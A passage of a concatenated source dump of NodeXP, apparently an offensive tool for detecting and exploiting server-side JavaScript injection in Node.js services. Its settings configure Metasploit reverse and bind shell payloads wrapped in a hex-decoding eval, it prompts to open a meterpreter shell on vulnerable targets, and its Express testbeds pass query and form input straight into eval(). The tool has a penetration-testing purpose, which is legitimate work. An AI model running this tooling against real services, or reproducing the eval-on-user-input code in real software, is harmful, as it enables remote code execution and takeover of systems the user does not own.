%(settings.home_directory,path) 94 | first_check = os.path.exists(path) 95 | # Valid home directory path.. 96 | if first_check == True: 97 | home_directory_select = prompt.yesOrNo("[?] Did you mean '%s' ?\n"%path + Fore.YELLOW + "[i] Enter 'y' for 'yes' or 'n' for 'no'.\n" + Fore.WHITE + " - ", Fore.GREEN + "[!] Setting path: '%s' = '%s'" %(flag,path), Fore.RED + "[!] Not setting path '%s' for '%s'" %(path,flag)) 98 | # Valid home directory path accepted 99 | if home_directory_select[1] == 1: 100 | return path 101 | # Valid home directory path NOT accepted 102 | else: 103 | return 'None' 104 | # Invalid home directory path.. 105 | else: 106 | print(Fore.RED + "[!] ERROR: '%s' is not a valid path for '%s'" %(path,flag)) 107 | return 'None' 108 | except Exception as e: 109 | print(Fore.RED + "[!] ERROR: %s" %e) 110 | verbosity.error_info(e) 111 | 112 | def checkPathExistence(path,flag): 113 | try: 114 | # Valid local path accepted 115 | path = re.sub(r"\/+", "/", path) 116 | if os.path.exists(path) == True: 117 | return path 118 | # Invalid local path.. 119 | # .. check if path exists in home directory 120 | else: 121 | print(Fore.RED + "[!] ERROR: '%s' is not a valid path for '%s'" %(flag,path)) 122 | home_directory_path = checkPathExistenceInHomeDirectory(flag,path) 123 | return home_directory_path 124 | except Exception as e: 125 | print(Fore.RED + "[!] ERROR: %s" %e) 126 | verbosity.error_info(e) 127 | 128 | def initialize_path_functions(input_answer,msflag): 129 | try: 130 | # Check local path existence.. 131 | path = checkPathExistence(input_answer,msflag) 132 | # Path does not exist.. 133 | # .. give default choices or retype path.. 134 | while path == 'None': 135 | options = raw_input("[?] Do you want to retype path or give one of the defaults [~/, ~/Desktop, ~/Documents]?\n" + Fore.YELLOW + "[i] (Press: 1,2,3 for defaults accordingly or type the new path)\n" + Fore.WHITE + " - ") 136 | path = pathExistenceOptions(options,path,msflag) 137 | message = (Fore.GREEN + "[!] Setting path: '%s' = '%s'" %(msflag,path)) 138 | verbosity.print_message(message, settings.print_info) 139 | return path 140 | except Exception as e: 141 | print(Fore.RED + "[!] ERROR: %s" %e) 142 | verbosity.error_info(e) 143 | 144 | def get_input(msg,flag): 145 | input_answer = raw_input(msg) 146 | for msflag in settings.exploitation_flags: 147 | if msflag in flag: 148 | try: 149 | input_case = settings.exploitation_flags.index(msflag) 150 | if input_case == 0: 151 | lport = checkLPORT(input_answer) 152 | return lport 153 | elif input_case == 1: 154 | lhost = checkLHOST(input_answer) 155 | return lhost 156 | elif input_case == 2 or input_case == 3: 157 | path = initialize_path_functions(input_answer,msflag) 158 | return path 159 | else: 160 | print(Fore.RED + "[!] ERROR: Unknown case!") 161 | exit() 162 | # exception handling 163 | except Exception as e: 164 | print(Fore.RED + "[!] ERROR: %s" %e) 165 | verbosity.error_info(e) 166 | -------------------------------------------------------------------------------- /src/core/init/payload_init.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/init/payload_init.pyc -------------------------------------------------------------------------------- /src/core/init/settings.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | import os 12 | import random 13 | import string 14 | from os.path import expanduser 15 | from colorama import Fore, Back, Style, init 16 | 17 | def init(): 18 | # define gloabal variables used by detector.py below 19 | global include,exclude,cookie,technique,url,pdata,json,request_method,method,xss_input,xss_input_decoded 20 | global http_key,http_keyword,default_attack,wildcards,random_int_str,random_txt_1,random_txt_2 21 | global rand,dig,responded_keys,pre_url,valid_responses,invalid_responses,error_responses 22 | global time_threshold,loop,margin_factor,blind_injection_dictionary,inject_here_replace,blind_replace,elen,nlen,clen 23 | global blind_injection_cases,blind_wildcard,blind_injection_pass,minimum_time_threshold,validation_loop,break_blind 24 | global continue_flag_all,continue_flag_n,continue_flag_y,percent_encoded_URL,valid_parameters,blind_ssji_wordlist,start_result,start_blind 25 | 26 | # intermediate - initial 27 | global cwd, hr 28 | cwd = os.getcwd() 29 | hr = '-----------------------------------------------------------|' 30 | 31 | # results based technique 32 | global ssji_wordlist, total_line_count, request_error 33 | 34 | ssji_wordlist = '%s/files/payloads.txt' %cwd 35 | blind_ssji_wordlist = '%s/files/blind_payloads.txt' %cwd 36 | total_line_count = sum(1 for line in open(ssji_wordlist)) 37 | request_error = 0 38 | # blind technique 39 | 40 | # injection values 41 | global inject_here, initial_parameter 42 | # exploitation 43 | global home_directory, msf_payload, msf_payload_bind, msf_payload_reverse, msf_payload_reverse_ssl, lhost, rhost, prefix_rhost, lport, encoding, payload_path, rc_path, spool_file, encode, append_top, append_bottom, exploitation_flags, ex_prompt_message, ex_options_message, ex_alter_tech_msg, ex_current_tech_msg, reverse_shell_payload,exploitation_state 44 | 45 | exploitation_state = 0 46 | # printing 47 | global print_info,print_diff,print_debug,print_redirection,print_less,superfast 48 | # blind 49 | global bl_prompt_message,bl_options_message,bl_current_tech_msg,bl_alter_tech_msg,follow_redirection 50 | 51 | follow_redirection = 0 52 | msf_payload_reverse_ssl = 'nodejs/shell_reverse_tcp_ssl' 53 | msf_payload_bind = 'nodejs/shell_bind_tcp' 54 | msf_payload_reverse = 'nodejs/shell_reverse_tcp' 55 | exploitation_flags = ["LPORT","LHOST","PAYLOAD PATH","RC SCRIPT PATH"] 56 | home_directory = expanduser("~") 57 | encoding = ['None','None'] 58 | encode = 'php/hex' 59 | append_top = ";eval(new Buffer('" 60 | append_bottom = "', 'hex').toString());" 61 | ex_prompt_message = Style.BRIGHT + Fore.WHITE + "[?] Application seems vulnerable. Try for meterpreter shell?\n" 62 | ex_options_message = Style.DIM + Fore.WHITE + "[-] Enter 'y' for 'yes' or 'n' for 'no'.\n - " 63 | ex_alter_tech_msg = Style.NORMAL + Fore.YELLOW + "[>]\n\n" + Style.NORMAL + Fore.WHITE + hr + Style.BRIGHT + Fore.GREEN + "\n[!] Starting exploitation process!\n" + Style.NORMAL + Fore.WHITE + hr + "\n" 64 | ex_current_tech_msg = Style.DIM + Fore.WHITE + "[i] Continue injection\n" + Style.NORMAL + Fore.YELLOW + "[>]" 65 | 66 | pdata = 'None' 67 | http_key = ['http://', 'https://'] 68 | cookie = 'None' 69 | exclude = 'None' 70 | technique = 'None' 71 | xss_input_decoded = 'None' 72 | attack_method = ['SSJI','XSS','REGEXDOS','COMAND_INJECTION','HPP','DOS','BRUTE_FORCE'] 73 | method = 0 74 | responded_keys = [] 75 | error_responses = ["ReferenceError","SyntaxError","EvalError","RangeError","TypeError","AssertionError"] 76 | # error_info = [""] 77 | expected_responses = [] 78 | valid_responses = [] 79 | invalid_responses = [] 80 | 81 | # var for randomizer 82 | wildcards = ['***', '$$$', '###'] 83 | blind_replace = '#time#' 84 | inject_here_replace = '[INJECT_HERE]' 85 | margin_factor = 2 86 | blind_injection_cases = [] 87 | blind_wildcard = 0 88 | blind_injection_pass = [0,0] 89 | break_blind = 0 90 | 91 | continue_flag_y = ['y','Y','yes','Yes','YES'] 92 | continue_flag_n = ['n','N','no','No','NO'] 93 | continue_flag_all = ['y','Y','yes','Yes','YES','n','N','no','No','NO'] 94 | 95 | bl_prompt_message = Style.BRIGHT + "[?] Do you want to try Blind Injection Technique?\n" 96 | bl_options_message = Fore.WHITE + Style.DIM + "[-] Enter 'y' for 'yes' or 'n' for 'no'.\n - " 97 | bl_current_tech_msg = Style.DIM + "[-] Continue on 'result based injection' technique." 98 | bl_alter_tech_msg = Style.NORMAL + Fore.YELLOW + "[>]\n\n" + Style.NORMAL + Fore.WHITE + hr + Fore.GREEN + Style.BRIGHT + "\n[!] Starting 'blind injection' technique.\n" + Style.NORMAL + Fore.WHITE + hr 99 | start_result = "\n" + hr + Fore.GREEN + Style.BRIGHT + "\n[!] Starting 'results based injection' technique.\n" + Style.NORMAL + Fore.WHITE + hr 100 | start_blind = "\n" + hr + Fore.GREEN + Style.BRIGHT + "\n[!] Starting 'blind injection' technique.\n" + Style.NORMAL + Fore.WHITE + hr 101 | 102 | # response messages 103 | #response_reference_error_msg = '' 104 | #reference_error_msg = '' 105 | #syntax_error_msg = '' 106 | #eval_error_msg = '' 107 | #range_error_msg = '' 108 | #type_error_msg = '' 109 | 110 | # Initialize results based random variables 111 | def initialize_rands(): 112 | # initialize variables for randomizer() 113 | global random_num,random_char,pentest_value 114 | 115 | if rand == 'all': 116 | numbers = float(dig)/2 117 | numbers = int(numbers) 118 | num_char = int(dig)-int(numbers) 119 | random_num = "".join( [random.choice(string.digits) for i in xrange(numbers)] ) 120 | random_char = "".join( [random.choice(string.letters) for i in xrange(num_char)] ) 121 | pentest_value = random_num+random_char 122 | elif rand == 'num': 123 | numbers = int(dig) 124 | random_num = "".join( [random.choice(string.digits) for i in xrange(numbers)] ) 125 | pentest_value = random_num 126 | else: 127 | num_char = int(dig) 128 | random_char = "".join( [random.choice(string.letters) for i in xrange(num_char)] ) 129 | pentest_value = random_char 130 | 131 | # Initialize results based random variables 132 | def initialize_blind_rands(): 133 | # initialize blind injection variables for input 134 | global blind_rand_email, blind_rand_char, blind_rand_num, mail_suffix, valid_input_values 135 | 136 | mail_suffix = '@gmail.com' 137 | 138 | blind_rand_email_char = "".join( [random.choice(string.letters) for i in xrange(elen)] ) 139 | blind_rand_email = '"' + blind_rand_email_char + mail_suffix + '"' 140 | blind_rand_char_not_valid = "".join( [random.choice(string.letters) for i in xrange(clen)] ) 141 | blind_rand_char = '"' + blind_rand_char_not_valid + '"' 142 | first_digit = str(random.randint(1, 9)) 143 | blind_rand_num = first_digit + "".join( [random.choice(string.digits) for i in xrange(nlen-1)] ) 144 | valid_input_values = [blind_rand_char, blind_rand_num, blind_rand_email] 145 | -------------------------------------------------------------------------------- /src/core/init/settings.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/init/settings.pyc -------------------------------------------------------------------------------- /src/graphics/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | pass 12 | -------------------------------------------------------------------------------- /src/graphics/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/graphics/__init__.pyc -------------------------------------------------------------------------------- /src/graphics/graphics.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | from colorama import Fore, Back, Style, init 12 | init(autoreset=True) 13 | 14 | def ascii_art(): 15 | print'' 16 | print'|----------------------------------------------------------|' 17 | print'| --Server Side Javascript Injection-- |' 18 | print'| -Detection & Exploitation Tool on Node.js Servers- |' 19 | print'|----------------------------------------------------------|' 20 | print'|----------------------------------------------------------|' 21 | print'| |' 22 | print'| '+Fore.BLUE+'888b 888'+Fore.RED+' '+Fore.YELLOW+' 888'+Fore.BLUE+' '+Fore.GREEN+' '+Fore.RED+' '+Fore.WHITE+'|' 23 | print'| '+Fore.BLUE+'8888b 888'+Fore.RED+' '+Fore.YELLOW+' 888'+Fore.BLUE+' '+Fore.GREEN+' '+Fore.RED+' '+Fore.WHITE+'|' 24 | print'| '+Fore.BLUE+'88888b 888'+Fore.RED+' '+Fore.YELLOW+' 888'+Fore.BLUE+' '+Fore.GREEN+' '+Fore.RED+' '+Fore.WHITE+'|' 25 | print'| '+Fore.BLUE+'888Y88b 888'+Fore.RED+' .d88b. '+Fore.YELLOW+' .d88888'+Fore.BLUE+' .d88b. '+Fore.GREEN+' 888 888 '+Fore.RED+'88888b. '+Fore.WHITE+'|' 26 | print'| '+Fore.BLUE+'888 Y88b888'+Fore.RED+' d88""88b'+Fore.YELLOW+' d88" 888'+Fore.BLUE+' d8P Y8b'+Fore.GREEN+' `Y8bd8P` '+Fore.RED+'888 "88b '+Fore.WHITE+'|' 27 | print'| '+Fore.BLUE+'888 Y88888'+Fore.RED+' 888 888'+Fore.YELLOW+' 888 888'+Fore.BLUE+' 88888888'+Fore.GREEN+' X88K '+Fore.RED+'888 888 '+Fore.WHITE+'|' 28 | print'| '+Fore.BLUE+'888 Y8888'+Fore.RED+' Y88..88P'+Fore.YELLOW+' Y88b 888'+Fore.BLUE+' Y8b. '+Fore.GREEN+' .d8""8b. '+Fore.RED+'888 d88P '+Fore.WHITE+'|' 29 | print'| '+Fore.BLUE+'888 Y888'+Fore.RED+' "Y88P" '+Fore.YELLOW+' "Y88888'+Fore.BLUE+' "Y8888 '+Fore.GREEN+' 888 888 '+Fore.RED+'88888P" '+Fore.WHITE+'|' 30 | print'| '+Fore.BLUE+' '+Fore.RED+' '+Fore.YELLOW+' '+Fore.BLUE+' '+Fore.GREEN+' '+Fore.RED+'888 '+Fore.WHITE+'|' 31 | print'| '+Fore.BLUE+' '+Fore.RED+' '+Fore.YELLOW+' '+Fore.BLUE+' '+Fore.GREEN+' '+Fore.RED+'888 '+Fore.WHITE+'|' 32 | print'| '+Fore.BLUE+' '+Fore.RED+' '+Fore.YELLOW+' '+Fore.BLUE+' '+Fore.GREEN+' '+Fore.RED+'888 '+Fore.WHITE+'|' 33 | print'|----------------------------------------------------------|' 34 | print'|----------------------------------------------------------|' 35 | print'| nodexp v.1.0.0 |' 36 | print'| https://github.com/esmog/nodexp |' 37 | print'|----------------------------------------------------------|' 38 | -------------------------------------------------------------------------------- /src/graphics/graphics.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/graphics/graphics.pyc -------------------------------------------------------------------------------- /src/interfaces/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | pass 12 | -------------------------------------------------------------------------------- /src/interfaces/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/interfaces/__init__.pyc -------------------------------------------------------------------------------- /src/interfaces/functions/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | pass 12 | -------------------------------------------------------------------------------- /src/interfaces/functions/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/interfaces/functions/__init__.pyc -------------------------------------------------------------------------------- /src/interfaces/functions/interfaces.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | import sys 12 | import src.core.init.settings as settings 13 | import src.interfaces.options.verbosity as verbosity 14 | import src.interfaces.options.prompt as prompt 15 | import urllib 16 | import urllib2 17 | import httplib 18 | from bs4 import* 19 | import difflib 20 | from urllib2 import HTTPError, URLError 21 | from colorama import Fore, Back, Style, init 22 | 23 | def make_request(parameter): 24 | # Do request below.. 25 | try: 26 | # With or without cookies, GET or POST cases blended! :) 27 | if settings.request_method == 1: 28 | # POST request 29 | request = urllib2.Request(settings.url,data=parameter,headers={'Cookie':settings.cookie}) 30 | else: 31 | # GET request 32 | request = urllib2.Request(parameter,headers={'Cookie':settings.cookie}) 33 | 34 | html = urllib2.urlopen(request).read() 35 | html_soup = BeautifulSoup(html, "html.parser") 36 | html_redirection_object = urllib2.urlopen(request) 37 | html_prettify = html_soup.prettify() 38 | 39 | return html,html_redirection_object,html_prettify,html_soup 40 | 41 | except HTTPError as e: 42 | status = e.getcode() 43 | # ERROR on exploitation process. Cannot exploit! 44 | if settings.exploitation_state == 1: 45 | print (Fore.RED + '\n[!] Server respond with status %d to your request. Website seems vulnerable but can not be exploited. Try again.'%(status)) 46 | sys.exit() 47 | 48 | # ERROR on any other case.. 49 | settings.request_error = 1 50 | # Print info.. 51 | print (Fore.YELLOW + '\n[!] Server respond with status %d to your request with payload \' %s \'. Not sure if website is vulnerable or not.'%(status,parameter)) 52 | print (Fore.RED + "[!] WARNING: The server couldn\'t fulfill the request! First of all, check if the given URL is correct. In case you injected any payload on your request, server seems to interact with it so, it might be vulnerable. In this case check payload txt files for syntax errors and try again. Else, service might be down or .") 53 | 54 | ''' 55 | # Ask for blind and act accodingly.. 56 | blind = change_technique(settings.bl_prompt_message, settings.bl_options_message, settings.bl_alter_tech_msg, settings.bl_current_tech_msg) 57 | if blind == True: 58 | # Re-initialize input with [INJECT_HERE] 59 | settings.inject_here = settings.initial_inject_here 60 | blind_technique.blind_injection() 61 | ''' 62 | # Else return and continue searching for poc! 63 | html = e.read() 64 | html_soup = BeautifulSoup(html, "html.parser") 65 | html_prettify = html_soup.prettify() 66 | html_redirection_object = e 67 | 68 | return html,html_redirection_object,html_prettify,html_soup 69 | except httplib.BadStatusLine as e: 70 | error_message = e.args 71 | print(Fore.RED + "[!] ERROR: [%s]\n[!] MORE INFO: Server might be down or cannot successfully parse your request! Check your txt payload for syntax errors, change injection technique or simply try again later" %error_message) 72 | settings.request_error = 1 73 | except URLError as e: 74 | error_message = e.args 75 | print(Fore.RED + "[!] ERROR: [%s]\n[!] MORE INFO: Server might be down! Check your txt payload for syntax errors, change injection technique or simply try again later" %error_message) 76 | #verbosity.error_info(error_message) 77 | settings.request_error = 1 78 | 79 | return 0 80 | except Exception as e: 81 | print(Fore.RED + "[!] ERROR: %s" %e) 82 | verbosity.error_info(e) 83 | 84 | def change_technique(prompt_message, options_message, alter_tech_msg, current_tech_msg): 85 | try: 86 | if settings.print_info == 1: 87 | prompt_message += options_message 88 | 89 | answer = prompt.yesOrNo(prompt_message, alter_tech_msg, current_tech_msg) 90 | print answer[0] 91 | 92 | # Change technique 93 | if answer[1] == 1: 94 | if settings.technique == 'result': settings.technique = 'blind' 95 | else: settings.technique = 'result' 96 | return True 97 | 98 | # Remain on same technique 99 | elif answer[1] == 0: 100 | return False 101 | else: 102 | return prompt.yesOrNo(prompt_message, current_tech_msg, alter_tech_msg) 103 | except Exception as e: 104 | print(Fore.RED + "[!] ERROR: %s" %e) 105 | verbosity.error_info(e) 106 | 107 | def check_redirection(res,tech): 108 | try: 109 | # Do not show this message everytime you make a request on blind injection 110 | if tech != 'blind': 111 | message = Fore.YELLOW + '\n[<] Checking for redirection' 112 | verbosity.print_message(message,settings.print_info) 113 | 114 | # Redirection made 115 | # Ask to follow.. 116 | if res.url != settings.url: 117 | message = Fore.RED + Style.BRIGHT + '[!] WARNING: REDIRECTION FOUND!\n' + Style.NORMAL + Fore.WHITE + " from: " + Fore.GREEN + Style.BRIGHT + settings.url + "\n" + Style.NORMAL + Fore.WHITE + " to: " + Fore.RED + Style.BRIGHT + res.url 118 | print message 119 | # Ask to quit 120 | prompt_message = Fore.WHITE + Style.BRIGHT + "[?] Do you want to follow redirection?\n" 121 | options_message = Style.DIM + Fore.WHITE + "[-] Enter 'y' for 'yes' or 'n' for 'no'.\n" 122 | 123 | if settings.print_info == 1: 124 | prompt_message += options_message 125 | 126 | error_msg = Fore.RED + '[-] Not follow redirection.' 127 | continue_msg = Fore.WHITE + Style.NORMAL + '[-] Follow redirection.' 128 | answer = prompt.yesOrNo(prompt_message,continue_msg,error_msg) 129 | verbosity.print_message(answer[0],settings.print_info) 130 | settings.follow_redirection = 1 131 | 132 | # If follow redirection 133 | if answer[1] == 1: 134 | settings.url = res.url 135 | settings.pre_url = settings.url 136 | 137 | if settings.technique != 'blind': 138 | message = Style.NORMAL + Fore.YELLOW + '[>]' 139 | verbosity.print_message(message, settings.print_info) 140 | # No redirection 141 | else: 142 | if tech != 'blind': 143 | message = Style.DIM + Fore.WHITE + '[-] No redirection made.'#\n' + Fore.YELLOW + Style.NORMAL + '[>]' 144 | verbosity.print_message(message,settings.print_info) 145 | settings.follow_redirection = 0 146 | return settings.follow_redirection 147 | except Exception as e: 148 | print(Fore.RED + "[!] ERROR: %s" %e) 149 | verbosity.error_info(e) 150 | sys.exit() 151 | 152 | def percent_encoding(mal_code): 153 | percent_encoded_data = settings.inject_here.replace(settings.inject_here_replace, urllib.quote(mal_code), 1) 154 | percent_encoded_data = percent_encoded_data.replace('%23time%23', '#time#' ,1) 155 | percent_encoded_data = percent_encoded_data.replace('%2A%2A%2A','***', 1) 156 | return percent_encoded_data 157 | -------------------------------------------------------------------------------- /src/interfaces/functions/interfaces.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/interfaces/functions/interfaces.pyc -------------------------------------------------------------------------------- /src/interfaces/options/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | pass 12 | -------------------------------------------------------------------------------- /src/interfaces/options/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/interfaces/options/__init__.pyc -------------------------------------------------------------------------------- /src/interfaces/options/prompt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | import src.core.init.settings as settings 12 | import traceback 13 | from colorama import Fore, Back, Style, init 14 | 15 | def yesOrNo(prompt_message, return_1, return_0): # options_message 16 | continue_process = 1 17 | while continue_process == 1: 18 | try: 19 | if settings.print_info == 1: 20 | continue_answer = raw_input(prompt_message) 21 | else: 22 | continue_answer = raw_input(prompt_message) 23 | if continue_answer in settings.continue_flag_y: 24 | continue_process = 0 25 | return [return_1,1] 26 | if continue_answer in settings.continue_flag_n: 27 | continue_process = 0 28 | return [return_0,0] 29 | else: 30 | print(Fore.RED + "[!] Sorry, invalid input.") 31 | return yesOrNo(prompt_message, return_1, return_0) 32 | except ValueError, e: 33 | print(Fore.RED + "[!] Sorry, invalid input.") 34 | return yesOrNo(prompt_message, return_1, return_0) 35 | except KeyboardInterrupt, e: 36 | exit(Fore.RED + "[!] Exit Program") 37 | except Exception as e: 38 | print(Fore.RED + "[!] Sorry, invalid input.") 39 | return yesOrNo(prompt_message, return_1, return_0) 40 | 41 | -------------------------------------------------------------------------------- /src/interfaces/options/prompt.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/interfaces/options/prompt.pyc -------------------------------------------------------------------------------- /src/interfaces/options/verbosity.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | import os 12 | import sys 13 | import src.core.init.settings as settings 14 | import traceback 15 | from colorama import Fore, Back, Style, init 16 | 17 | def print_message(message,print_msg): 18 | try: 19 | if print_msg == 1: 20 | print message 21 | except Exception as e: 22 | print(Fore.RED + "[!] ERROR: %s" %e) 23 | verbosity.error_info(e) 24 | 25 | # Print more info on exceptions - errors :) 26 | def error_info(e): 27 | exc_type, exc_obj, exc_tb = sys.exc_info() 28 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 29 | print(Fore.RED + "[!] MORE INFO: error type %s, file %s, line %s" %(exc_type, fname, exc_tb.tb_lineno)) 30 | print(Fore.RED + "[!] TRACEBACK:") 31 | traceback.print_exc() 32 | print(Fore.RED + "[!] END TRACEBACK.") 33 | 34 | 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /src/interfaces/options/verbosity.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/interfaces/options/verbosity.pyc -------------------------------------------------------------------------------- /testbeds/GET/eval.js: -------------------------------------------------------------------------------- 1 | var express = require('express'); 2 | var app = express(); 3 | app.get('/', function(req, res) { 4 | var resp=eval(req.query.name); 5 | res.send('Response
'+resp); 6 | }); 7 | app.listen(3001); 8 | -------------------------------------------------------------------------------- /testbeds/GET/eval_with_keywords.js: -------------------------------------------------------------------------------- 1 | var express = require('express'); 2 | var app = express(); 3 | app.get('/', function(req, res) { 4 | var resp=eval(req.query.name); 5 | res.send('Output ReferenceError SyntaxError
'+resp); 6 | }); 7 | app.listen(3002); 8 | 9 | -------------------------------------------------------------------------------- /testbeds/POST/post.js: -------------------------------------------------------------------------------- 1 | var bodyParser = require('body-parser'); 2 | var express = require('express'); 3 | var app = express(); 4 | app.use(bodyParser.json()); // support json encoded bodies 5 | app.use(bodyParser.urlencoded({ extended: true })); // support encoded bodies 6 | app.get('/post.js', function(req, res) { 7 | res.writeHead(200, {'Content-Type': 'text/html'}); 8 | res.write('
Username:

Password:

'); 9 | res.send('noResponse
'); 10 | }); 11 | app.listen(3001); 12 | app.post('/post.js', function(req, res) { 13 | var resp = eval(req.body.username); 14 | res.send('Response
'+resp); 15 | }); 16 | app.listen(3003); 17 | 18 | --------------------------------------------------------------------------------